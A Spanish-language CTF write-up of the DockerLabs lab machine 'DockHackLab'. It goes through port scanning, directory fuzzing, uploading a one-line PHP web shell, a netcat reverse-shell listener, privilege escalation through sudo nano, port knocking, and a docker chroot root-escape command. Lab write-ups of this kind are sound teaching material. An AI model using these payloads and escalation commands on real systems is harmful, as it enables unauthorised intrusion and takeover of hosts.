Skip to content

[DockerLabs] DockHackLab

11 minutos de lectura
Posted on:15 de agosto de 2024 at 13:30

Primer writeup para la plataforma DockerLabs 🐳 de Mario. Y tengo que decir que me ha gustado mucho, y con la que me he engachado y aprendido bastante. Es 100% recomendable para aquellos que quieren empezar en el mundo del Hacking Ético.

Creador: firstatack

Nmap Scan

 sudo nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 172.17.0.2 -oG allPorts
[sudo] password for m44lr0m:
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-15 10:14 EDT
Initiating ARP Ping Scan at 10:14
Scanning 172.17.0.2 [1 port]
Completed ARP Ping Scan at 10:14, 0.04s elapsed (1 total hosts)
Initiating SYN Stealth Scan at 10:14
Scanning 172.17.0.2 [65535 ports]
Discovered open port 80/tcp on 172.17.0.2
Discovered open port 22/tcp on 172.17.0.2
Completed SYN Stealth Scan at 10:14, 0.26s elapsed (65535 total ports)
Nmap scan report for 172.17.0.2
Host is up, received arp-response (0.0000020s latency).
Scanned at 2024-08-15 10:14:21 EDT for 0s
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack ttl 64
80/tcp open  http    syn-ack ttl 64
MAC Address: 02:42:AC:11:00:02 (Unknown)

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.39 seconds
           Raw packets sent: 65536 (2.884MB) | Rcvd: 65536 (2.621MB)

Hacemos ahora un escaneo más exhaustivo a los puertos que hemos obtenido en el primer reconocimiento:

 nmap -sCV -p22,80 172.17.0.2 -oN targeted
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-15 11:16 EDT
Nmap scan report for collections.dl (172.17.0.2)
Host is up (0.00017s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 9a:a2:73:65:c5:4f:dd:36:57:7c:53:f6:98:82:96:04 (ECDSA)
|_  256 c5:f4:bf:93:53:a3:8b:78:0c:8a:b2:fa:30:5b:b3:1b (ED25519)
80/tcp open  http    Apache httpd 2.4.58 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works
|_http-server-header: Apache/2.4.58 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.53 seconds

Después de los escaeos con nmap y ver las versiones de los servicios que corren en la máquina podemos pasar a la siguiente fase.

Analisis web

Mientras corria el reconocimientopara determinar las versiones con nmap lanzo la herramienta WhatWeb:

 whatweb http://172.17.0.2
http://172.17.0.2 [200 OK] Apache[2.4.58], Country[RESERVED][ZZ], HTTPServer[Ubuntu Linux][Apache/2.4.58 (Ubuntu)], IP[172.17.0.2], Title[Apache2 Ubuntu Default Page: It works]

En principio nada relevante asi que abrimos el navegador y entramos a la IP de la máquina victima, pero tampoco podemos obtener nada reseñable, simplemente la típica página de Apache. Asi que toca hacer un poco de fuzzing para encontrar directorios/páginas ocultas en el servidor.


 gobuster dir -u http://172.17.0.2 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,php,txt -t60 --no-error -n 400
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://172.17.0.2
[+] Method:                  GET
[+] Threads:                 60
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              php,txt,html
[+] No status:               true
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.php                 [Size: 275]
/index.html           [Size: 10671]
/.html                [Size: 275]
/hackademy            [Size: 312] [--> http://172.17.0.2/hackademy/]
/.html                [Size: 275]
/.php                 [Size: 275]
/server-status        [Size: 275]
Progress: 882240 / 882244 (100.00%)
===============================================================
Finished
===============================================================

BINGO! Tenemos un directorio /hackademy el cual tenemos una web para poder subir fichero, esto nos lleva a la conclusión que podríamos subir una SHELL para explotar un RCE.

Imagen la web donde se puede subir un fichero de la máquina vulnerable de dockerlabs

Subo un fichero con una pequeña shell con la que podré ejecutar comandos, o al menos es la intención…

<?php echo "Shell> ";system($_GET['cmd']); ?>

Al subir el fichero nos muestra una página con un mensaje:

El archivo rceshell.php ha sido subido y alterado xxx_tuarchivo , localizalo y actua.

En este punto podriamos volver a hacer fuzzing… ya que parece que han cambiado el nombre del fichero agregandole 3 caracteres. He usado PentestGPT de HackerAI para generar un diccionario para su posterior utilización con ffuf

import itertools

# Generar combinaciones de letras y números
letters = 'abcdefghijklmnopqrstuvwxyz'
numbers = '0123456789'
combinations = []

# Generar combinaciones de longitud 1 a 3
for length in range(3, 4):
    for combo in itertools.product(letters + numbers, repeat=length):
        combinations.append(''.join(combo))

# Guardar en un archivo
with open('diccionario.txt', 'w') as f:
    for item in combinations:
        f.write(f"{item}_rceshell.php\n")

Tiramos de FFUF con nuestro diccionario…

 ffuf -u http://172.17.0.2/hackademy/FUZZ -w diccionario.txt -t 200 -c

        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://172.17.0.2/hackademy/FUZZ
 :: Wordlist         : FUZZ: /home/m44lr0m/dockerlabs/dockhacklab/content/diccionario.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 200
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________

klp_rceshell.php        [Status: 500, Size: 5, Words: 1, Lines: 1, Duration: 73ms]
:: Progress: [46656/46656] :: Job [1/1] :: 172 req/sec :: Duration: [0:00:11] :: Errors: 0 ::

Tendremos RCE?

http://172.17.0.2/hackademy/klp_rceshell.php?cmd=whoami
Shell> www-data

Efecitvamente, tenemos una pequeña shell para poder ejecutar comandos en la máquina victima. Nos vamos a RevShells y probamos a lanzar los comandos intentando conseguir acceso a la máquina, evidentemente hay que ponerse a la escucha en nuestra máquina:

 sudo nc -lvnp 433

Al probar varias revshell y ver que no consigo conectarme, tiro de reverse shell de PentestMonkey, así que subo el fichero con esta shell. Volvemos a lanzar el fuzzing anterior y automáticamente obtenemos la revserse shell ya que se ejecuta el fichero que hemos subido cuando lo encuentra…Hacemos el tratamiento de la tty y listo

Escalada

Como de costumbre lo primero que hago es ver que podemos ejecutar con sudo:

www-data@e142e65e8c32:/opt$ sudo -l
Matching Defaults entries for www-data on e142e65e8c32:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    use_pty

User www-data may run the following commands on e142e65e8c32:
    (firsthacking) NOPASSWD: /usr/bin/nano

Buscamos en nuestras “Páginas amarillas” de binarios de confianza… GTFOBins como podemos hacer la escalada con nano. Hacemos la escalada a otro usuario que tampoco es root pero ya estamos cerca. Volvemos a mirar si podemos ejecutar algo como sudo, y hay suerte porque podemos ejecutar Docker como root, volvemos a buscar en GTFOBins.

sudo docker run -v /:/mnt --rm -it alpine chroot /mnt sh

Vaya! No me esperaba la respuesta…

firsthacking@e142e65e8c32:~$ sudo /usr/bin/docker run -v /:/mnt --rm -it alpine chroot /mnt sh
docker: Cannot connect to the Docker daemon at unix:///var/run/docker.sock. Is the docker daemon running?.
See 'docker run --help'.

Aquí es quizás donde mas tiempo he perdido… me descolocó bastante y me puse a buscar por directorios como opt, tmp… nada, no veía nada… ficheros ocultos en el home del usuario, encontramos el .docker que es el que nos llama la atención de primeras ya que la escalada hemos intentado hacerlo mediante docker

firsthacking@e142e65e8c32:~$ cat .docker
que utiles son las funciones del bashrc

uy uy uy… nos manda al bashrc y encontramos una función docker

function docker() {
    echo "�Fijate que hay algo esperando a que llames"
    echo -e "\n 12345 54321 24680 13579 \n"
    echo -e "De nada servira si no llamas antes"
}

De otras máquinas esto nos resulta familiar, vemos los procesos que se están ejecutando para confirmar mi teoría:

root           1  0.0  0.2 229756 15472 ?        Ssl  03:41   0:00 /usr/libexec/qemu-binfmt/x86_64-binfmt-P /bin/bash /bin/bash -c service ssh start ; service apache2 start ; service knock

Vaya… se está ejecutando el proceso de knock como root, con esto y lo anterior de bashrc podemos probar con knock:

 knock -v 172.17.0.2 12345 54321 24680 13579
hitting tcp 172.17.0.2:12345
hitting tcp 172.17.0.2:54321
hitting tcp 172.17.0.2:24680
hitting tcp 172.17.0.2:13579

Después de esto lo único que quedaría es probar de nuevo a ejecutar lo que vimos con GTFOBins:

sudo /usr/bin/docker run -v /:/mnt --rm -it alpine chroot /mnt sh

En teoría con esto obtendríamos una shell como root peeeero parece que con M1, que es lo que uso yo, virtualizando con VMWare un Kali versión para ARM. Es una suposición mía, que hay algo incompatible con M1. Es cierto que en otras máquina de dockerlabs que hay que usar esta misma técnica me pasa igual…

Para probar cosas he entrado como root: sudo docker exec -it 150 /bin/bash

Y he ejecutado el comando que en teoría lanza cuando funciona el knock

/usr/bin/dockerd
[0:26]
INFO[2024-08-16T08:18:39.037110719+10:00] stopping event stream following graceful shutdown  error="context canceled" module=libcontainerd namespace=plugins.moby
failed to start daemon: Error initializing network controller: error obtaining controller instance: failed to create NAT chain DOCKER: iptables failed: iptables -t nat -N DOCKER: iptables: Failed to initialize nft: Protocol not supported

Así que nada me quedo sin la escalada pero el camino era el correcto…

Que es esto de knock y Port Knocking?

Esto es una técnica para ocultar servicios sensibles o que queremos ocultar. Estos servicios “ocultos” solo se levantarán si hacemos envio de paquetes a unos puertos específicos y en un orden concreto. Una vez recibimos esa secuencia de “golpes” el servicio se levantaría y ya sería accesible.